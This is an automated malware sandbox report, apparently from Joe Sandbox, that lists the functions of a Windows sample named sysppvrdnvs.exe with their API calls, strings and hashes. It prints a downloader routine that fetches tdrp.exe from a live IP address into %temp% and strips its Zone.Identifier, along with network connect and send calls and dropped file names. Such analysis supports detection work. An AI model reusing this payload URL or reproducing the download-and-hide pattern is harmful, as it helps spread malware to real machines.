Instruction ID: 424cb4e193b88585781965e36c58f6fe4c92dd312b0dedf0f064d4bdf42048bf
Opcode Fuzzy Hash: 1349ff72827666e4cbc29eb052c20b65a3979f5a02af5532c34680a7c0598164
Instruction Fuzzy Hash: AE113DB5900108BFDB04DFA8D941E9EB7B5EF48304F14C1A9FD19AB342D635EA10CBA6

Function 0040D840 Relevance: 4.5, APIs: 3, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0040D853
htons.WS2_32(00009E34), ref: 0040D885
connect.WS2_32(000000FF,?,00000010), ref: 0040D89F

Part of subcall function 0040B4F0: shutdown.WS2_32(0040B4DD,00000002), ref: 0040B4F9
Part of subcall function 0040B4F0: closesocket.WS2_32(0040B4DD), ref: 0040B503

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: closesocketconnecthtonsshutdownsocket
String ID:
API String ID: 1987800339-0
Opcode ID: 33603a608139399c0d84bb830c7b48966f7cdbf7a5e618daadc4b0f5ccc7d938
Instruction ID: fe5c709ea45c5a11aa3c9160e55f3cfd3489188b927fc5d3b71a7e9497cbc338
Opcode Fuzzy Hash: 33603a608139399c0d84bb830c7b48966f7cdbf7a5e618daadc4b0f5ccc7d938
Instruction Fuzzy Hash: 91113C74D05209EBCB10DFE4D9096AEB770AF08320F2082A9E525A73D0D7744F05975A

Function 0040A820 Relevance: 4.5, APIs: 3, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A800: GetCurrentProcessId.KERNEL32(?,0040A76B,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A803

HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,0040A777,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A84C
HeapSetInformation.KERNEL32(02E50000,00000000,00000002,00000004), ref: 0040A876
GetCurrentProcessId.KERNEL32 ref: 0040A87C

Part of subcall function 0040A890: GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040A8AC

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Process$CurrentHeap$CreateHeapsInformation
String ID:
API String ID: 3179415709-0
Opcode ID: aa0c888e319f0ad9fd531053ca841c15f09ebe8eab889de8fcd1a964cf2e908b
Instruction ID: 85029bc915bf12f33225f801dda82e4fa7d324228b613a3c41ba46cae7947946
Opcode Fuzzy Hash: aa0c888e319f0ad9fd531053ca841c15f09ebe8eab889de8fcd1a964cf2e908b
Instruction Fuzzy Hash: 78F06DB1940305BBD324AB61BC05FA63B65B704305F08C17EEA00DA2D1EB79D810C69E

Function 0040A760 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A800: GetCurrentProcessId.KERNEL32(?,0040A76B,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A803

RtlAllocateHeap.NTDLL(02E50000,?,-0000000C), ref: 0040A7AA
memset.NTDLL ref: 0040A7E4

Part of subcall function 0040A820: HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,0040A777,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A84C
Part of subcall function 0040A820: HeapSetInformation.KERNEL32(02E50000,00000000,00000002,00000004), ref: 0040A876
Part of subcall function 0040A820: GetCurrentProcessId.KERNEL32 ref: 0040A87C

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Heap$CurrentProcess$AllocateCreateInformationmemset
String ID:
API String ID: 3494217179-0
Opcode ID: fa29d78d3ce41ca275254412ae4d96764d92337fc642c65f72d4f93bbf2f11ac
Instruction ID: 5fdcc54cffe3c60a089a3a898bb23ed8061fd132f88873fc9f8ce54bcf899a2e
Opcode Fuzzy Hash: fa29d78d3ce41ca275254412ae4d96764d92337fc642c65f72d4f93bbf2f11ac
Instruction Fuzzy Hash: A71112B5D00208BBCB14EFA5DC45F9E7BB9AF44309F04C169F508AB381D638DA64CB99

Function 0040DFD0 Relevance: 3.0, APIs: 2, Instructions: 49synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004013B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DFDD,00000000), ref: 004013D5
Part of subcall function 004013B0: socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
Part of subcall function 004013B0: bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 0040BBB0: EnterCriticalSection.KERNEL32(004165F8), ref: 0040BBC0
Part of subcall function 0040BBB0: LeaveCriticalSection.KERNEL32(004165F8), ref: 0040BBEC

InterlockedExchangeAdd.KERNEL32(00000000,00000000), ref: 0040DFFD
WaitForSingleObject.KERNEL32(000006CC,00001388), ref: 0040E047

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CreateEnterEventExchangeInterlockedLeaveObjectSingleWaitbindsocket
String ID:
API String ID: 3920643007-0
Opcode ID: 18c62cc6d519b2e8afdf3871f58b5d287ebe97866f2e1beb6f2c6a56a98bb43e
Instruction ID: 346b0ed27967947cee21f80887d76a0c9fc99ab28eac90287f9a1883fefaa601
Opcode Fuzzy Hash: 18c62cc6d519b2e8afdf3871f58b5d287ebe97866f2e1beb6f2c6a56a98bb43e
Instruction Fuzzy Hash: C411A1B5E00208ABE704EBE5DC46FAF7735AB04704F14857AF501772D1E6B9AE50CB98

Function 0040B780 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 0040B79C
gethostbyname.WS2_32(?), ref: 0040B7AE

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: 3e0d64d0359f05fd9a79bfd049c8ca7c81df9b12e882189b7266d53aab3380c0
Instruction ID: d19b970f4f05460fb5f23fa9ea20f915887bff4352c67af57008564f6b42df24
Opcode Fuzzy Hash: 3e0d64d0359f05fd9a79bfd049c8ca7c81df9b12e882189b7266d53aab3380c0
Instruction Fuzzy Hash: 64112E349042188BCB25DB14C844BD8B779EB65314F14C6DAD48967390C7F96DC5CF89

Function 0040B3F0 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(0040B471), ref: 0040B3FA
gethostbyname.WS2_32(?), ref: 0040B40D

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: 46542f40318f5cfb28b81fc8c4f0329da453caff3e113274fd4b0c2f7b1fac6b
Instruction ID: cf68f0f803e5ad204852fc960aab75f2335c53b4724a48f6e286a6dac7d73619
Opcode Fuzzy Hash: 46542f40318f5cfb28b81fc8c4f0329da453caff3e113274fd4b0c2f7b1fac6b
Instruction Fuzzy Hash: 84F0AC78900208EFCB14DFA4E54899DBBB4EB49311F2083A9E905673A0D7749E80DB84

Function 0040BDD0 Relevance: 3.0, APIs: 2, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000006CC,000003E8), ref: 0040BDDE
InterlockedDecrement.KERNEL32(00414FB0), ref: 0040BDF0

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: DecrementInterlockedObjectSingleWait
String ID:
API String ID: 4086267124-0
Opcode ID: b3d5e5d618c3ee1c5ce6ac09c8534b3c9b924509322a4d5e56075276ed9f4435
Instruction ID: 5baab0edd941cf9a4a76b18d4dbc399760136ebc64c148788ac0b196bea4a2c6
Opcode Fuzzy Hash: b3d5e5d618c3ee1c5ce6ac09c8534b3c9b924509322a4d5e56075276ed9f4435
Instruction Fuzzy Hash: 71D0A93124430867C6106BA2FC4AB9FBA5FEB10714F208433F201F52C0EBB888C196EE

Function 0040B4F0 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

shutdown.WS2_32(0040B4DD,00000002), ref: 0040B4F9
closesocket.WS2_32(0040B4DD), ref: 0040B503

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: 25f7de04c8b00f8f37ac4a6d3bc42f69888779e154306af29f6f284285fde8ae
Instruction ID: e588004495cc6a7b8ebd8d82ef2c96d96882889d66b7c68133776882e6b5d849
Opcode Fuzzy Hash: 25f7de04c8b00f8f37ac4a6d3bc42f69888779e154306af29f6f284285fde8ae
Instruction Fuzzy Hash: 39C04C7914020CBBCB549FE5EC4DDD97BACFB48751F108455FA098B251CAB6E9808B94

Function 0040BBB0 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004165F8), ref: 0040BBC0
LeaveCriticalSection.KERNEL32(004165F8), ref: 0040BBEC

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7b213cd4d069c01e8a620414b83cfb343b0676d070a872b63673a2a7234e7122
Instruction ID: 13b3a4f761e8e0ec39884722658b832f986ab9836cdaa210380d175f348a5a39
Opcode Fuzzy Hash: 7b213cd4d069c01e8a620414b83cfb343b0676d070a872b63673a2a7234e7122
Instruction Fuzzy Hash: A2E09AB0A41204EBCB00DF88FC09B983774E744304F1281B9E81453390EBB4EE80CA8D

Function 0040B510 Relevance: 2.5, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004165F8,?,0040BDA7), ref: 0040B518
LeaveCriticalSection.KERNEL32(004165F8,?,0040BDA7), ref: 0040B528

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ad8263c65cb201d3706fc4fef9bb1207c721a47fd2d799970df71f2cf60a6b1c
Instruction ID: 14b8899719e1d7f6bd9f87e5ca311e10c022d8288dc76d62f5c8fe7294ca2835
Opcode Fuzzy Hash: ad8263c65cb201d3706fc4fef9bb1207c721a47fd2d799970df71f2cf60a6b1c
Instruction Fuzzy Hash: BDB09B701C1329B7810037D5BC0B7C43E29D544B1539380F6B51954195AEE555C0555D

Function 0040D710 Relevance: 1.5, APIs: 1, Instructions: 32networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,00000000,?,00000000), ref: 0040D72F

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 06370eea5684355e58e3ecca2704a58af4611f1d3e16c80e6b4b5217ad5f95b8
Instruction ID: e7aa79f816f91947af6fbc74e9c8fbfd3bb2dea631739c5f8479ec5b7c0f5cfd
Opcode Fuzzy Hash: 06370eea5684355e58e3ecca2704a58af4611f1d3e16c80e6b4b5217ad5f95b8
Instruction Fuzzy Hash: 58013C3890438DEFCB00DFA8C888BDE7BB4BB08314F1085A9EC55A7380D3B59699CB55

Function 0040D930 Relevance: 1.5, APIs: 1, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040BBB0: EnterCriticalSection.KERNEL32(004165F8), ref: 0040BBC0
Part of subcall function 0040BBB0: LeaveCriticalSection.KERNEL32(004165F8), ref: 0040BBEC

WaitForSingleObject.KERNEL32(000006CC,00001388), ref: 0040D95C

Part of subcall function 0040D550: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040D55C

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveObjectSingleWait
String ID:
API String ID: 3309573332-0
Opcode ID: dea414f55044976029bfea1705a47b8f4b0a5085fa57cca7b4be92acb39eaa1a
Instruction ID: 2ee0a3073efd4fba8235a9b1d7a198457ec1c10d5c824cc9a6b08d4439e9405f
Opcode Fuzzy Hash: dea414f55044976029bfea1705a47b8f4b0a5085fa57cca7b4be92acb39eaa1a
Instruction Fuzzy Hash: E3E092B1D40308A7C714E7E5A806BAF762A9710305F54407AF600762C1DA799A44D7DC

Function 00407670 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407690

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 34e119f03330a37951e29d4ee19d5d58663b392051cfe4a9acefb3e3966ee614
Instruction ID: d29105fc803771725095f39a6bc68a1d0ed1c954ca33f5653c88c8c6fc3524cf
Opcode Fuzzy Hash: 34e119f03330a37951e29d4ee19d5d58663b392051cfe4a9acefb3e3966ee614
Instruction Fuzzy Hash: 07E0ED74D1020CFFDF00DF94C889BDEBBB8AB44315F1081A9E90567280D7B96A94CB95

Function 00406300 Relevance: 1.3, APIs: 1, Instructions: 32stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406360: GetDriveTypeW.KERNEL32(?c@), ref: 0040636D

lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406353

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: DriveTypelstrcpy
String ID:
API String ID: 3664088370-0
Opcode ID: 2d61ef023cbf4c1c2148b72ea45ffb06c686e76863e737ed56d1566052f9a4a4
Instruction ID: 07938d44ddb1935cabae668892a579954ff71e0ca3886b5fa6316a5d3981c012
Opcode Fuzzy Hash: 2d61ef023cbf4c1c2148b72ea45ffb06c686e76863e737ed56d1566052f9a4a4
Instruction Fuzzy Hash: 9FF01D75900248FBDB04DFA4D4557DEB7B4EF44304F04C5A9E81AAB280E679AB58CB89

Non-executed Functions

Function 004068E0 Relevance: 107.2, APIs: 47, Strings: 14, Instructions: 407fileCOMMON

Download Yara Rule

APIs

_chkstk.NTDLL(?,004070E0,?,?,?), ref: 004068E8
wsprintfW.USER32 ref: 0040691F
wsprintfW.USER32 ref: 0040693F
wsprintfW.USER32 ref: 0040695F
wsprintfW.USER32 ref: 0040697F
wsprintfW.USER32 ref: 00406998
wsprintfW.USER32 ref: 004069B8
PathFileExistsW.SHLWAPI(?), ref: 004069C8
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A01
DeleteFileW.KERNEL32(?), ref: 00406A0E
PathFileExistsW.SHLWAPI(?), ref: 00406A1B
PathFileExistsW.SHLWAPI(?), ref: 00406A30
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A46
DeleteFileW.KERNEL32(?), ref: 00406A53
PathFileExistsW.SHLWAPI(?), ref: 00406A60
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406A73

Strings

%s.lnk, xrefs: 00406913
shell32.dll, xrefs: 00406C16
shell32.dll, xrefs: 00406C38
shell32.dll, xrefs: 00406BFC
%s\%s, xrefs: 00406933
%s\%s\rvlcfg.exe, xrefs: 00406953
%s\%s\rvldrv.exe, xrefs: 004069AC
shell32.dll, xrefs: 00406C52
%s\%s, xrefs: 00406E4D
C:\Windows\sysppvrdnvs.exe, xrefs: 00406AA6
%s\%s, xrefs: 00406EC0
%s\%s\%s, xrefs: 00406EE7
%s\%s, xrefs: 00406973
%s\*, xrefs: 0040698C

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$AttributesDelete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\rvlcfg.exe$%s\%s\rvldrv.exe$%s\*$C:\Windows\sysppvrdnvs.exe$shell32.dll$shell32.dll$shell32.dll$shell32.dll
API String ID: 495142193-2225385857
Opcode ID: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction ID: 1e7642a3bb229a683b77cec8f60a4b6186945a0df842d4041ba496de3fd539ef
Opcode Fuzzy Hash: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction Fuzzy Hash: 500270B5900218EBDB20DB60DC44FEA7778BF44705F0485EAF50AA6190DBB89BD4CF69

Function 004067A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85filestringCOMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00406F1A,00000000), ref: 004067AF
wsprintfW.USER32 ref: 004067C5
FindFirstFileW.KERNEL32(?,?), ref: 004067DC
lstrcmpW.KERNEL32(?,00411368), ref: 00406801
lstrcmpW.KERNEL32(?,0041136C), ref: 00406817
wsprintfW.USER32 ref: 0040683A
wsprintfW.USER32 ref: 0040685A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406896
FindNextFileW.KERNEL32(000000FF,?), ref: 004068AA
FindClose.KERNEL32(000000FF), ref: 004068BF
RemoveDirectoryW.KERNEL32(?), ref: 004068C9

Strings

%s\*, xrefs: 004067B9
%s\%s, xrefs: 0040682E
%s\%s, xrefs: 0040684E

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction ID: 96f5080d1998a7d60275ba97af61759e4b4e94f5b4bc08b7936e0b3de653678a
Opcode Fuzzy Hash: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction Fuzzy Hash: 923145B5900218AFDB10DBA0DC88FDA7778BB48701F40C5E9F609A3195DA75EAD4CF98

Function 0040F1B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,00407A28), ref: 0040F1C3
strcmp.NTDLL ref: 0040F1D2

Strings

UKR, xrefs: 0040F1C9

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction ID: 1be06a77ef1098bc08a48f46d8927727b75ba0885e831d13d66ebc3380d14d50
Opcode Fuzzy Hash: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction Fuzzy Hash: FDE01276E44308B6DA20A6A0AD02BE6776C6715705F0001B6BE08AA5C1E9B9961DC7EA

Function 004064A0 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 111networkfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004064A9
srand.MSVCRT ref: 004064B0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 004064D0
rand.MSVCRT ref: 004064D6
rand.MSVCRT ref: 004064EA
wsprintfW.USER32 ref: 0040650F
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00406525
InternetOpenUrlW.WININET(00000000,http://185.215.113.66/tdrp.exe,00000000,00000000,00000000,00000000), ref: 00406552
CreateFileW.KERNEL32(00415BA8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040657F
InternetReadFile.WININET(00000000,?,00000103,?), ref: 004065B2
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 004065E3
CloseHandle.KERNEL32(000000FF), ref: 004065F2
wsprintfW.USER32 ref: 00406609
DeleteFileW.KERNEL32(?), ref: 00406619
CloseHandle.KERNEL32(000000FF), ref: 0040662D
InternetCloseHandle.WININET(00000000), ref: 0040663A
InternetCloseHandle.WININET(00000000), ref: 00406647

Strings

%temp%, xrefs: 004064CB
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 00406520
%s\%d%d.exe, xrefs: 00406505
%s:Zone.Identifier, xrefs: 004065FD
http://185.215.113.66/tdrp.exe, xrefs: 00406546
.#v, xrefs: 004065F2, 0040662D

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritesrand
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$http://185.215.113.66/tdrp.exe$.#v
API String ID: 2816847299-151917633
Opcode ID: db0eaae3e853224ad670cce8e70ecd23fd08653b657d015a3b33c3440649b795
Instruction ID: 1fb007f132407df9fd1c0735e7405706d6c761cf3eec079010f6fac199ffc060
